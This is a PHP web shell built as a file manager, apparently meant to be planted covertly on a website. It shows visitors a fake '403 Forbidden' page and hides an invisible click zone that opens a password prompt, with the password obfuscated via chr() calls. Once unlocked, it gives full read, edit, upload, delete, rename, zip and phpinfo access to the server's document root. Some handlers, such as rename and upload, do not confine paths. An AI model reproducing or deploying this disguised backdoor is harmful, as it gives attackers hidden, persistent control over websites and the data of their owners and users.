<?php
session_start();
ini_set('display_errors', 1);
error_reporting(E_ALL);
date_default_timezone_set('Europe/Moscow');
header('Content-Type: text/html; charset=utf-8');
ini_set('default_charset','UTF-8');
setlocale(LC_ALL, 'en_US.UTF8','en_US.UTF-8');

// ===== SECURE CONFIGURATION =====
// Obfuscated password using chr()
$x1 = chr(50).chr(52).chr(51);   // 243
$x2 = chr(54).chr(54).chr(51);   // 663
$x3 = chr(50).chr(49).chr(51);   // 213
$CORRECT_PASSWORD = "$".$x1."$".$x2."$".$x3."$"; //

// Start path
$start_path = $_SERVER['DOCUMENT_ROOT'];

// Helper functions
function is_authenticated() {
    return isset($_SESSION['fm_auth']) && $_SESSION['fm_auth'] === true;
}

function authenticate($password) {
    global $CORRECT_PASSWORD;
    if ($password === $CORRECT_PASSWORD) {
        $_SESSION['fm_auth'] = true;
        return true;
    }
    return false;
}

// Logout
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . basename(__FILE__));
    exit;
}

// AJAX authentication
if (isset($_POST['auth_action']) && $_POST['auth_action'] === 'login') {
    $pass = isset($_POST['password']) ? $_POST['password'] : '';
    if (authenticate($pass)) {
        echo json_encode(['status' => 'success']);
    } else {
        echo json_encode(['status' => 'error', 'message' => 'Invalid password']);
    }
    exit;
}

// For all operations except initial page load, require authentication
$is_ajax = !empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest';
if (!is_authenticated() && ($is_ajax || !empty($_POST) || isset($_GET['open_folder']) || isset($_GET['open_file']) || isset($_GET['download']) || isset($_GET['show_image']))) {
    header('HTTP/1.0 403 Forbidden');
    echo 'Access denied';
    exit;
}

#############################################################################
#                               CORE FUNCTIONS                              #
#############################################################################

function get_size($path) {
    $size = 0;
    if (file_exists($path)) {
        if (is_dir($path)) {
            foreach (scandir($path) as $p) {
                if ($p != '.' && $p != '..') {
                    $size += get_size($path . '/' . $p);
                }
            }
        } else {
            $size = filesize($path);
        }
    }
    return $size;
}

function format_size($size) {
    if ($size > 0) {
        $j = 0;
        $ext = array(' bytes', ' Kb', ' Mb', ' Gb', ' Tb');
        while ($size >= pow(1024, $j)) { ++$j; }
        return round($size / pow(1024, $j - 1) * 100) / 100 . $ext[$j - 1];
    } else return '0 bytes';
}

function breadcrumbs($path, $start_path) {
    $start = $start_path;
    $arr = explode('/', $path);
    $path_to = str_replace(array('//', $start_path), array('/', ''), $path, $count);
    if ($count == 1) {
        $arr = explode('/', $path_to);
    } else {
        $start = '';
        $arr = explode('/', $path);
    }
    if (strlen($path) == strlen($start_path)) {
        $start = '';
        $arr = explode('/', $start_path);
    }
    $str = '';
    $pp = '';
    foreach ($arr as $dir) {
        $pp .= '/' . $dir;
        if (@is_file($start . $pp)) {
            $str .= '<a href="javascript:void(0);" onclick="open_file(\'' . $start . $pp . '\')">' . $dir . '</a>';
        } else {
            $str .= '<a href="javascript:void(0);" onclick="open_folder(\'' . $start . $pp . '\')">' . $dir . '</a>/';
        }
    }
    return str_replace('//', '/', $str);
}

function del_path($path) {
    if (file_exists($path)) {
        chmod($path, 0755);
        if (is_dir($path)) {
            foreach (scandir($path) as $p) {
                if ($p != '.' && $p != '..') {
                    del_path($path . '/' . $p);
                }
            }
            rmdir($path);
        } else {
            unlink($path);
        }
    }
}

function copy_path($path, $to) {
    if (file_exists($path)) {
        $f = $to . '/' . basename($path);
        if (is_dir($path)) {
            mkdir($f);
            if (file_exists($f)) {
                foreach (scandir($path) as $p) {
                    if ($p != '.' && $p != '..') {
                        copy_path($path . '/' . $p, $f);
                    }
                }
            }
        } else {
            copy($path, $f);
        }
    }
}

function add_zip($zip, $path, $dir) {
    if (file_exists($path)) {
        if (is_dir($path)) {
            if (empty($dir)) {
                $dir = basename($path);
            }
            if ($zip->addEmptyDir($dir)) {
                foreach (scandir($path) as $f) {
                    if ($f != '.' and $f != '..') {
                        if (is_dir($path . '/' . $f)) {
                            add_zip($zip, $path . '/' . $f, $dir . '/' . $f);
                        } else {
                            $zip->addFile($path . '/' . $f, $dir . '/' . $f);
                        }
                    }
                }
            } else {
                echo 'Error create folder: ' . $dir;
            }
        } else {
            $zip->addFile($path, $dir . '/' . basename($path));
        }
    }
}

function create_zip($path, $name) {
    $p = str_replace(basename($path), '', $path);
    $zip = new ZipArchive;
    if ($zip->open($p . $name . '.zip', ZIPARCHIVE::CREATE) === true) {
        add_zip($zip, $path, '');
        $zip->close();
        echo '<script type="text/javascript">open_folder(\'' . $p . '\')</script>';
    } else {
        echo 'Error create zip: ' . $p . $name . '.zip';
    }
}

function list_path($path) {
    clearstatcache();
    $arr_dir = array();
    $arr_file = array();
    if (is_dir($path)) {
        $n = 0;
        foreach (scandir($path) as $f) {
            if ($f != '.' and $f != '..') {
                if (is_dir($path . '/' . $f)) {
                    $arr_dir[$n]['name'] = $f;
                    $arr_dir[$n]['path'] = $path . '/' . $f;
                    $arr_dir[$n]['type'] = filetype($path . '/' . $f);
                    $arr_dir[$n]['date'] = filemtime($path . '/' . $f);
                } else {
                    $arr_file[$n]['name'] = $f;
                    $arr_file[$n]['path'] = $path . '/' . $f;
                    $arr_file[$n]['type'] = filetype($path . '/' . $f);
                    $arr_file[$n]['date'] = filemtime($path . '/' . $f);
                    $arr_file[$n]['ext'] = strtolower(str_replace('.', '', strrchr($f, '.')));
                }
                $n++;
            }
        }
    }
    asort($arr_dir);
    asort($arr_file);
    return array_merge($arr_dir, $arr_file);
}

function last_changes($path, $sec) {
    $arr = array();
    foreach (list_path($path) as $f) {
        if (time() - $sec < $f['date']) {
            if ($f['type'] == 'dir') {
                $arr = $arr + last_changes($path . '/' . $f['name'], $sec);
                $arr[$f['date']] = '<li class="folder">' . date('d.m.Y', $f['date']) . ' <small>' . date('H:i:s', $f['date']) . '</small> 📁 <a href="javascript:void(0);" onclick="open_folder(\'' . $f['path'] . '\')">' . $f['name'] . '</a></li>';
            } else {
                $arr[$f['date']] = '<li>' . date('d.m.Y', $f['date']) . ' <small>' . date('H:i:s', $f['date']) . '</small> 📄 <a href="javascript:void(0);" onclick="open_file(\'' . $f['path'] . '\')">' . $f['name'] . '</a></li>';
            }
        }
    }
    return $arr;
}

// Secure path validation
function validate_path($path, $start_path) {
    $real_start = realpath($start_path);
    $real_path = realpath($path);
    if ($real_path === false) return false;
    return strpos($real_path, $real_start) === 0;
}

#############################################################################
#                           AJAX HANDLERS (AUTHENTICATED)                   #
#############################################################################

if (is_authenticated()) {
    // Open folder
    if (!empty($_POST['open_folder'])) {
        $path = $_POST['path'];
        if (!validate_path($path, $start_path)) {
            echo 'Invalid path';
            exit;
        }
        echo '<h2>' . htmlspecialchars(basename($path)) . '</h2>';
        echo '<div class="breadcrumb">' . breadcrumbs($path, $start_path) . '</div>';
        if (!is_dir($path)) {
            echo '<p>This is not a directory!</p>';
            echo '<a href="javascript:void(0);" onclick="open_file(\'' . $path . '\')">Open as file</a>';
            exit;
        }
        echo '<ul class="file-list">';
        $n = 0;
        foreach (list_path($path) as $f) {
            if ($f['type'] == 'dir') {
                echo '<li class="folder">
                        <span class="icon">📁</span>
                        <a href="javascript:void(0);" onclick="open_folder(\'' . $f['path'] . '\')">' . htmlspecialchars($f['name']) . '</a>
                        <span class="actions">
                            <a href="javascript:void(0);" onclick="del_path(\'' . $f['path'] . '\')">Delete</a>
                            <a href="javascript:void(0);" onclick="rename_file(\'' . $f['path'] . '\')">Rename</a>
                            <a href="javascript:void(0);" onclick="copy_path(\'' . $f['path'] . '\',\'' . str_replace('/' . basename($f['path']), '', $f['path']) . '/\')">Copy</a>
                            <a href="javascript:void(0);" onclick="create_zip(\'' . $f['path'] . '\')">ZIP</a>
                        </span>
                      </li>';
                $n++;
            } else {
                echo '<li>
                        <span class="icon">📄</span>
                        <a href="javascript:void(0);" onclick="open_file(\'' . $f['path'] . '\')">' . htmlspecialchars($f['name']) . '</a>
                        <span class="actions">
                            <a href="javascript:void(0);" onclick="del_file(\'' . $f['path'] . '\')">Delete</a>
                            <a href="javascript:void(0);" onclick="rename_file(\'' . $f['path'] . '\')">Rename</a>
                            <a href="javascript:void(0);" onclick="copy_path(\'' . $f['path'] . '\',\'' . str_replace('/' . basename($f['path']), '', $f['path']) . '/\')">Copy</a>';
                if (!empty($f['ext']) && $f['ext'] == 'zip') {
                    echo '<a href="javascript:void(0);" onclick="unzip(\'' . $f['path'] . '\')">UNZIP</a>';
                } else {
                    echo '<a href="javascript:void(0);" onclick="create_zip(\'' . $f['path'] . '\')">ZIP</a>';
                }
                echo '<a href="' . basename(__FILE__) . '?download=' . urlencode($f['path']) . '">Download</a>
                        </span>
                      </li>';
                $n++;
            }
        }
        echo '</ul>';
        if ($n == 0) {
            echo '<p>Folder is empty.</p>';
        }
        echo '<div class="actions-bar">
                <button class="button" id="upload-files-btn">Upload Files</button>
                <button class="button" id="upload-folder-btn">Upload Folder</button>
                <button class="button" onclick="new_folder(\'' . $path . '\')">New Folder</button>
                <button class="button" onclick="new_file(\'' . $path . '\')">New File</button>
                <button class="button" onclick="rename_file(\'' . $path . '\')">Rename/Move</button>
                <button class="button" onclick="copy_path(\'' . $path . '\',\'' . str_replace('/' . basename($path), '', $path) . '/\')">Copy</button>
                <button class="button" onclick="create_zip(\'' . $path . '\')">ZIP</button>
              </div>
              <div id="upload-status" style="margin-top:10px; color:green;"></div>
              <hr>
              <div class="info">Size: ' . format_size(get_size($path)) . '<br>Modified: ' . date('d.m.Y H:i:s', filemtime($path)) . '</div>';
        exit;
    }

    // Open file
    if (!empty($_POST['open_file'])) {
        $path = $_POST['path'];
        if (!validate_path($path, $start_path)) {
            echo 'Invalid path';
            exit;
        }
        echo '<h2>' . htmlspecialchars(basename($path)) . '</h2>';
        echo '<div class="breadcrumb">' . breadcrumbs($path, $start_path) . '</div>';
        if (!is_file($path)) {
            echo '<p>This is not a file!</p>';
            echo '<a href="javascript:void(0);" onclick="open_folder(\'' . $path . '\')">Open as folder</a>';
            exit;
        }
        $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
        if (in_array($ext, array('txt', 'htm', 'html', 'htaccess', 'php', 'css', 'js', 'xml', 'json', 'ini', ''))) {
            $content = htmlspecialchars(file_get_contents($path));
            echo '<textarea id="file_content" style="width:100%; height:400px; font-family:monospace;">' . $content . '</textarea>
                  <div class="actions-bar"><button class="button" onclick="save_file(\'' . $path . '\')">Save</button> <span id="save_status">Ctrl+S</span></div>';
        } elseif (in_array($ext, array('jpg', 'jpeg', 'gif', 'png', 'bmp'))) {
            echo '<p><img src="' . basename(__FILE__) . '?show_image=1&path=' . urlencode($path) . '" style="max-width:100%; max-height:500px;"></p>';
        } elseif (in_array($ext, array('wav', 'mp3', 'ogg', 'oga', 'm4a'))) {
            echo '<p><audio controls src="' . basename(__FILE__) . '?download=' . urlencode($path) . '"></audio></p>';
        } elseif (in_array($ext, array('mp4', 'm4v', 'ogv', 'avi'))) {
            echo '<p><video controls src="' . basename(__FILE__) . '?download=' . urlencode($path) . '" style="max-width:100%"></video></p>';
        } elseif ($ext == 'zip') {
            $zip = new ZipArchive;
            if ($zip->open($path) === true) {
                echo '<ul>';
                for ($i = 0; $i < $zip->numFiles; $i++) {
                    echo '<li>' . $zip->getNameIndex($i) . '</li>';
                }
                echo '</ul>';
            } else {
                echo 'Broken archive!';
            }
        }
        echo '<hr><div class="info">Size: ' . format_size(filesize($path)) . '<br>Modified: ' . date('d.m.Y H:i:s', filemtime($path)) . '<br>Extension: ' . $ext . '</div>
              <div class="actions-bar">
                  <button class="button" onclick="rename_file(\'' . $path . '\')">Rename/Move</button>
                  <button class="button" onclick="location.href=\'' . basename(__FILE__) . '?download=' . urlencode($path) . '\'">Download</button>
                  <button class="button" onclick="copy_path(\'' . $path . '\',\'' . str_replace('/' . basename($path), '', $path) . '/\')">Copy</button>
              </div>';
        exit;
    }

    // Save file
    if (!empty($_POST['save_file'])) {
        $path = $_POST['path'];
        $text = $_POST['text'];
        if (validate_path($path, $start_path)) {
            file_put_contents($path, $text);
            echo 'Saved';
        } else {
            echo 'Invalid path';
        }
        exit;
    }

    // Delete file
    if (!empty($_POST['del_file'])) {
        $path = $_POST['path'];
        if (validate_path($path, $start_path) && is_file($path)) {
            unlink($path);
            echo '<script>open_folder(\'' . str_replace('/' . basename($path), '', $path) . '\')</script>';
        } else {
            echo '<script>alert("Error deleting file");</script>';
        }
        exit;
    }

    // Rename/move
    if (!empty($_POST['rename_file'])) {
        $path = $_POST['path'];
        $name = $_POST['name'];
        if (validate_path($path, $start_path) && file_exists($path)) {
            rename($path, $name);
            echo '<script>open_folder(\'' . str_replace('/' . basename($path), '', $path) . '\')</script>';
        } else {
            echo '<script>alert("Error renaming");</script>';
        }
        exit;
    }

    // Copy
    if (!empty($_POST['copy_path'])) {
        $path = $_POST['path'];
        $to = $_POST['to'];
        if (validate_path($path, $start_path) && validate_path($to, $start_path)) {
            copy_path($path, $to);
            echo '<script>alert("Copy successful!");</script>';
        } else {
            echo '<script>alert("Error copying");</script>';
        }
        exit;
    }

    // Delete folder
    if (!empty($_POST['del_folder'])) {
        $path = $_POST['path'];
        if (validate_path($path, $start_path) && is_dir($path)) {
            del_path($path);
            echo '<script>open_folder(\'' . str_replace('/' . basename($path), '', $path) . '\')</script>';
        } else {
            echo '<script>alert("Error deleting folder");</script>';
        }
        exit;
    }

    // New folder
    if (!empty($_POST['new_folder'])) {
        $path = $_POST['path'];
        $name = $_POST['name'];
        if (validate_path($path, $start_path) && !file_exists($path . '/' . $name)) {
            mkdir($path . '/' . $name);
            echo '<script>open_folder(\'' . $path . '\')</script>';
        } else {
            echo '<script>alert("Folder exists or invalid path");</script>';
        }
        exit;
    }

    // New file
    if (!empty($_POST['new_file'])) {
        $path = $_POST['path'];
        $name = $_POST['name'];
        if (validate_path($path, $start_path) && !file_exists($path . '/' . $name)) {
            file_put_contents($path . '/' . $name, '');
            echo '<script>open_folder(\'' . $path . '\')</script>';
        } else {
            echo '<script>alert("File exists or invalid path");</script>';
        }
        exit;
    }

    // Create ZIP
    if (!empty($_POST['create_zip'])) {
        $path = $_POST['path'];
        $name = $_POST['name'];
        if (validate_path($path, $start_path)) {
            create_zip($path, $name);
        } else {
            echo '<script>alert("Invalid path");</script>';
        }
        exit;
    }

    // UPLOAD: handle both files and folders
    if (isset($_POST['upload_action']) && $_POST['upload_action'] == 'upload') {
        $targetDir = $_POST['target_dir'];
        if (!validate_path($targetDir, $start_path) || !is_dir($targetDir)) {
            echo 'Invalid target directory';
            exit;
        }
        if (isset($_FILES['files'])) {
            $files = $_FILES['files'];
            $successCount = 0;
            $errorCount = 0;
            for ($i = 0; $i < count($files['name']); $i++) {
                $relativePath = isset($_POST['paths'][$i]) ? $_POST['paths'][$i] : $files['name'][$i];
                $fullPath = $targetDir . '/' . ltrim($relativePath, '/');
                $dirName = dirname($fullPath);
                if (!is_dir($dirName)) {
                    mkdir($dirName, 0755, true);
                }
                if (move_uploaded_file($files['tmp_name'][$i], $fullPath)) {
                    $successCount++;
                } else {
                    $errorCount++;
                }
            }
            echo json_encode(['success' => $successCount, 'error' => $errorCount]);
        } else {
            echo 'No files received';
        }
        exit;
    }

    // Unzip
    if (!empty($_POST['unzip'])) {
        $path = $_POST['path'];
        if (validate_path($path, $start_path) && is_file($path)) {
            $dir = str_replace('/' . basename($path), '', $path);
            $zip = new ZipArchive;
            if ($zip->open($path) === true) {
                $zip->extractTo($dir);
                $zip->close();
                echo '<script>open_folder(\'' . $dir . '\')</script>';
            } else {
                echo '<script>alert("Unzip error");</script>';
            }
        } else {
            echo '<script>alert("Invalid zip file");</script>';
        }
        exit;
    }

    // Last changes
    if (!empty($_POST['last_changes'])) {
        $sec = $_POST['hours'] * 60 * 60;
        $arr = last_changes($start_path, $sec);
        arsort($arr);
        echo '<h3>Last Changes</h3><ul>';
        foreach ($arr as $v) {
            echo $v;
        }
        echo '</ul>';
        exit;
    }
}

// Download & image show (public but path validated)
if (isset($_GET['download']) && is_authenticated()) {
    $path = $_GET['download'];
    if (validate_path($path, $start_path) && is_file($path)) {
        header('Content-Type: ' . mime_content_type($path));
        header('Content-Disposition: attachment; filename="' . basename($path) . '"');
        header('Content-Length: ' . filesize($path));
        readfile($path);
    } else {
        header('HTTP/1.0 404 Not Found');
        echo 'File not found';
    }
    exit;
}

if (isset($_GET['show_image']) && is_authenticated()) {
    $path = $_GET['path'];
    if (validate_path($path, $start_path) && is_file($path)) {
        header('Content-Type: image/jpeg');
        readfile($path);
    }
    exit;
}

if (isset($_GET['php_info']) && is_authenticated()) {
    phpinfo();
    exit;
}

#############################################################################
#                               HTML OUTPUT                                 #
#############################################################################
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>403 Forbidden</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            background: #fff;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            font-size: 14px;
            color: #333;
            line-height: 1.5;
        }
        /* 403 style */
        .error-container {
            text-align: center;
            padding: 100px 20px;
        }
        .error-code {
            font-size: 72px;
            font-weight: bold;
            color: #e74c3c;
            margin-bottom: 20px;
        }
        .error-message {
            font-size: 20px;
            margin-bottom: 10px;
        }
        .error-desc {
            color: #7f8c8d;
        }

        /* For authenticated view (file manager) */
        .container {
            display: flex;
            min-height: 100vh;
        }
        .sidebar {
            width: 260px;
            background: #f9f9f9;
            border-right: 1px solid #e0e0e0;
            padding: 20px;
            overflow-y: auto;
            position: fixed;
            height: 100vh;
            left: 0;
            top: 0;
        }
        .main {
            margin-left: 260px;
            padding: 20px 30px;
            flex: 1;
            background: #fff;
        }
        .logo {
            font-size: 22px;
            font-weight: 600;
            margin-bottom: 20px;
            cursor: pointer;
            color: #2c3e50;
            border-bottom: 2px solid #3498db;
            display: inline-block;
            padding-bottom: 5px;
        }
        .sidebar ul {
            list-style: none;
            margin-top: 15px;
        }
        .sidebar li {
            margin: 8px 0;
            padding: 5px 0;
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
        }
        .sidebar li a {
            text-decoration: none;
            color: #2c3e50;
        }
        .sidebar li a:hover {
            color: #3498db;
        }
        .sidebar .info {
            margin-top: 30px;
            padding-top: 15px;
            border-top: 1px solid #e0e0e0;
            font-size: 12px;
            color: #6c757d;
        }
        h2 {
            font-size: 20px;
            margin-bottom: 10px;
        }
        .breadcrumb {
            font-size: 13px;
            margin-bottom: 20px;
            color: #6c757d;
        }
        .breadcrumb a {
            text-decoration: none;
            color: #3498db;
        }
        .file-list {
            list-style: none;
            margin: 20px 0;
        }
        .file-list li {
            padding: 8px 0;
            border-bottom: 1px solid #f0f0f0;
            display: flex;
            align-items: center;
            flex-wrap: wrap;
        }
        .file-list .icon {
            width: 30px;
            font-size: 16px;
        }
        .file-list li a:first-of-type {
            flex: 1;
            text-decoration: none;
            color: #2c3e50;
            font-weight: 500;
        }
        .file-list li a:first-of-type:hover {
            color: #3498db;
        }
        .actions {
            display: none;
            gap: 10px;
        }
        .file-list li:hover .actions {
            display: inline-flex;
        }
        .actions a {
            margin-left: 10px;
            color: #6c757d;
            text-decoration: none;
            font-size: 12px;
        }
        .actions a:hover {
            color: #e74c3c;
        }
        .actions-bar {
            margin: 20px 0;
            display: flex;
            flex-wrap: wrap;
            gap: 8px;
        }
        .button {
            background: #f0f0f0;
            border: 1px solid #ddd;
            padding: 6px 12px;
            border-radius: 4px;
            cursor: pointer;
            font-size: 13px;
            transition: 0.2s;
        }
        .button:hover {
            background: #e0e0e0;
        }
        hr {
            margin: 20px 0;
            border: 0;
            border-top: 1px solid #eaeaea;
        }
        .info {
            font-size: 12px;
            color: #6c757d;
        }
        /* Password trigger (invisible) */
        #password-trigger {
            position: fixed;
            bottom: 0;
            left: 0;
            width: 30px;
            height: 30px;
            cursor: pointer;
            z-index: 1000;
            background: transparent;
        }
        /* Modal */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.5);
            z-index: 2000;
            justify-content: center;
            align-items: center;
        }
        .modal-content {
            background: #fff;
            padding: 30px;
            border-radius: 8px;
            width: 300px;
            text-align: center;
        }
        .modal-content input {
            width: 100%;
            padding: 8px;
            margin: 15px 0;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        .modal-content button {
            background: #3498db;
            color: white;
            border: none;
            padding: 8px 20px;
            border-radius: 4px;
            cursor: pointer;
        }
        @media (max-width: 700px) {
            .sidebar {
                width: 100%;
                position: relative;
                height: auto;
                border-right: none;
                border-bottom: 1px solid #e0e0e0;
            }
            .main {
                margin-left: 0;
            }
            .container {
                flex-direction: column;
            }
        }
    </style>
    <?php if (is_authenticated()): ?>
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/codemirror.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/mode/htmlmixed/htmlmixed.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/mode/javascript/javascript.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/mode/php/php.min.js"></script>
    <?php endif; ?>
</head>
<body>
<?php if (is_authenticated()): ?>
    <div class="container">
        <div class="sidebar">
            <div class="logo" onclick="location.href='<?= basename(__FILE__) ?>'">FileManager</div>
            <ul>
                <?php foreach (list_path($start_path) as $f): ?>
                    <?php if ($f['type'] == 'dir'): ?>
                        <li>📁 <a href="javascript:void(0);" onclick="open_folder('<?= $f['path'] ?>')"><?= htmlspecialchars($f['name']) ?></a></li>
                    <?php else: ?>
                        <li>📄 <a href="javascript:void(0);" onclick="open_file('<?= $f['path'] ?>')"><?= htmlspecialchars($f['name']) ?></a></li>
                    <?php endif; ?>
                <?php endforeach; ?>
            </ul>
            <div class="info">
                <a href="javascript:void(0);" onclick="last_changes()">Last changes</a><br>
                <a href="javascript:void(0);" onclick="php_info()">PHP info</a><br>
                <a href="?logout=1">Logout</a>
            </div>
        </div>
        <div class="main" id="content">
            <h1>📁 File Manager</h1>
            <p>Click bottom-left corner to lock again (password required).</p>
        </div>
    </div>
<?php else: ?>
    <div class="error-container">
        <div class="error-code">403</div>
        <div class="error-message">Access Forbidden</div>
        <div class="error-desc">You don't have permission to access this resource on this server.</div>
    </div>
<?php endif; ?>

<!-- Invisible click area (always present) -->
<div id="password-trigger"></div>

<!-- Password Modal -->
<div id="passwordModal" class="modal">
    <div class="modal-content">
        <h3>Enter Password</h3>
        <input type="password" id="modalPassword" autocomplete="off">
        <button id="submitPassword">Unlock</button>
        <p id="errorMsg" style="color:red; margin-top:10px; display:none;">Invalid password</p>
    </div>
</div>

<script>
    // Password logic
    const trigger = document.getElementById('password-trigger');
    const modal = document.getElementById('passwordModal');
    const passInput = document.getElementById('modalPassword');
    const submitBtn = document.getElementById('submitPassword');
    const errorMsg = document.getElementById('errorMsg');

    trigger.onclick = function() {
        modal.style.display = 'flex';
        passInput.value = '';
        errorMsg.style.display = 'none';
        passInput.focus();
    };

    function closeModal() {
        modal.style.display = 'none';
    }

    function submitPassword() {
        const pass = passInput.value;
        fetch('<?= basename(__FILE__) ?>', {
            method: 'POST',
            headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
            body: 'auth_action=login&password=' + encodeURIComponent(pass)
        })
        .then(response => response.json())
        .then(res => {
            if (res.status === 'success') {
                closeModal();
                location.reload();
            } else {
                errorMsg.style.display = 'block';
            }
        })
        .catch(() => {
            errorMsg.style.display = 'block';
        });
    }

    submitBtn.onclick = submitPassword;
    passInput.addEventListener('keypress', function(e) {
        if (e.key === 'Enter') submitPassword();
    });
    window.onclick = function(e) {
        if (e.target === modal) closeModal();
    };

    <?php if (is_authenticated()): ?>
    // File manager functions
    function open_folder(path) {
        history.pushState('', '', '<?= basename(__FILE__) ?>?open_folder=1&path=' + encodeURIComponent(path));
        document.getElementById('content').innerHTML = '<div style="text-align:center; padding:50px;">Loading...</div>';
        fetch('<?= basename(__FILE__) ?>', {
            method: 'POST',
            headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
            body: 'open_folder=1&path=' + encodeURIComponent(path)
        })
        .then(response => response.text())
        .then(html => {
            document.getElementById('content').innerHTML = html;
            initUploadButtons(path);
        });
    }

    function open_file(path) {
        history.pushState('', '', '<?= basename(__FILE__) ?>?open_file=1&path=' + encodeURIComponent(path));
        document.getElementById('content').innerHTML = '<div style="text-align:center; padding:50px;">Loading...</div>';
        fetch('<?= basename(__FILE__) ?>', {
            method: 'POST',
            headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
            body: 'open_file=1&path=' + encodeURIComponent(path)
        })
        .then(response => response.text())
        .then(html => {
            document.getElementById('content').innerHTML = html;
            if (typeof CodeMirror !== 'undefined' && document.getElementById('file_content')) {
                window.editor = CodeMirror.fromTextArea(document.getElementById('file_content'), {
                    lineNumbers: true,
                    mode: 'php',
                    indentUnit: 4
                });
                document.onkeydown = function(e) {
                    if (e.ctrlKey && e.keyCode === 83) {
                        save_file(path);
                        e.preventDefault();
                    }
                };
            }
        });
    }

    function save_file(path) {
        const saveSpan = document.getElementById('save_status');
        if (saveSpan) saveSpan.innerHTML = 'Saving...';
        const text = encodeURIComponent(window.editor ? window.editor.getValue() : document.getElementById('file_content').value);
        fetch('<?= basename(__FILE__) ?>', {
            method: 'POST',
            headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
            body: 'save_file=1&path=' + encodeURIComponent(path) + '&text=' + text
        })
        .then(response => response.text())
        .then(html => { if (saveSpan) saveSpan.innerHTML = html; });
    }

    function del_file(path) { if (confirm('Delete file?')) postAction('del_file', path); }
    function del_path(path) { if (confirm('Delete folder and all contents?')) postAction('del_folder', path); }
    function new_folder(path) { let name = prompt('Folder name:'); if (name) postAction('new_folder', path, 'name='+encodeURIComponent(name)); }
    function new_file(path) { let name = prompt('File name:'); if (name) postAction('new_file', path, 'name='+encodeURIComponent(name)); }
    function rename_file(path) { let name = prompt('New path/name:', path); if (name) postAction('rename_file', path, 'name='+encodeURIComponent(name)); }
    function copy_path(path, to) { let dest = prompt('Copy to:', to); if (dest) postAction('copy_path', path, 'to='+encodeURIComponent(dest)); }
    function create_zip(path) { let name = prompt('ZIP name:', 'archive'); if (name) postAction('create_zip', path, 'name='+encodeURIComponent(name)); }
    function unzip(path) { if (confirm('Unzip file?')) postAction('unzip', path); }
    function php_info() { document.getElementById('content').innerHTML = '<iframe src="<?= basename(__FILE__) ?>?php_info=1" width="100%" height="650" style="border:none"></iframe>'; }
    function last_changes() { let hours = prompt('Last changes (hours):', '12'); if (hours) postAction('last_changes', '', 'hours='+encodeURIComponent(hours)); }

    function postAction(action, path, extra='') {
        let body = action + '=1&path=' + encodeURIComponent(path);
        if (extra) body += '&' + extra;
        fetch('<?= basename(__FILE__) ?>', {
            method: 'POST',
            headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
            body: body
        })
        .then(response => response.text())
        .then(html => {
            const statusDiv = document.getElementById('j_status');
            if (statusDiv) {
                statusDiv.innerHTML = html;
                statusDiv.style.display = 'block';
                setTimeout(() => { statusDiv.style.display = 'none'; }, 3000);
            }
        });
    }

    // Upload functions
    function uploadFiles(targetDir, files, paths) {
        const formData = new FormData();
        formData.append('upload_action', 'upload');
        formData.append('target_dir', targetDir);
        for (let i = 0; i < files.length; i++) {
            formData.append('files[]', files[i]);
            formData.append('paths[]', paths[i]);
        }
        const statusDiv = document.getElementById('upload-status');
        if (statusDiv) statusDiv.innerHTML = 'Uploading...';
        fetch('<?= basename(__FILE__) ?>', {
            method: 'POST',
            body: formData
        })
        .then(response => response.json())
        .then(result => {
            if (statusDiv) statusDiv.innerHTML = `Upload complete: ${result.success} files uploaded, ${result.error} errors.`;
            setTimeout(() => { if (statusDiv) statusDiv.innerHTML = ''; }, 3000);
            open_folder(targetDir);
        })
        .catch(err => {
            if (statusDiv) statusDiv.innerHTML = 'Upload failed';
            console.error(err);
        });
    }

    function handleFileSelection(event, targetDir, isFolder = false) {
        const files = event.target.files;
        if (!files.length) return;
        const paths = [];
        if (isFolder) {
            // For folder upload, we need the relative path from the root of the folder
            // We'll use webkitRelativePath if available
            for (let i = 0; i < files.length; i++) {
                const file = files[i];
                // file.webkitRelativePath contains the full path relative to the selected folder
                let relPath = file.webkitRelativePath;
                if (!relPath) relPath = file.name;
                paths.push(relPath);
            }
        } else {
            for (let i = 0; i < files.length; i++) {
                paths.push(files[i].name);
            }
        }
        uploadFiles(targetDir, files, paths);
        event.target.value = ''; // allow re-upload same files
    }

    function initUploadButtons(currentPath) {
        const filesBtn = document.getElementById('upload-files-btn');
        const folderBtn = document.getElementById('upload-folder-btn');
        if (filesBtn) {
            const fileInput = document.createElement('input');
            fileInput.type = 'file';
            fileInput.multiple = true;
            fileInput.style.display = 'none';
            fileInput.onchange = (e) => handleFileSelection(e, currentPath, false);
            document.body.appendChild(fileInput);
            filesBtn.onclick = () => fileInput.click();
        }
        if (folderBtn) {
            const folderInput = document.createElement('input');
            folderInput.type = 'file';
            folderInput.webkitdirectory = true;
            folderInput.multiple = true;
            folderInput.style.display = 'none';
            folderInput.onchange = (e) => handleFileSelection(e, currentPath, true);
            document.body.appendChild(folderInput);
            folderBtn.onclick = () => folderInput.click();
        }
    }

    document.addEventListener('DOMContentLoaded', function() {
        if (document.getElementById('content') && !document.querySelector('.error-container')) {
            open_folder('<?= addslashes($start_path) ?>');
        }
    });
    <?php endif; ?>
</script>
<div id="j_status" style="display:none; position:fixed; bottom:10px; right:10px; background:#fff; border:1px solid #ddd; padding:8px; z-index:1000;"></div>
</body>
</html>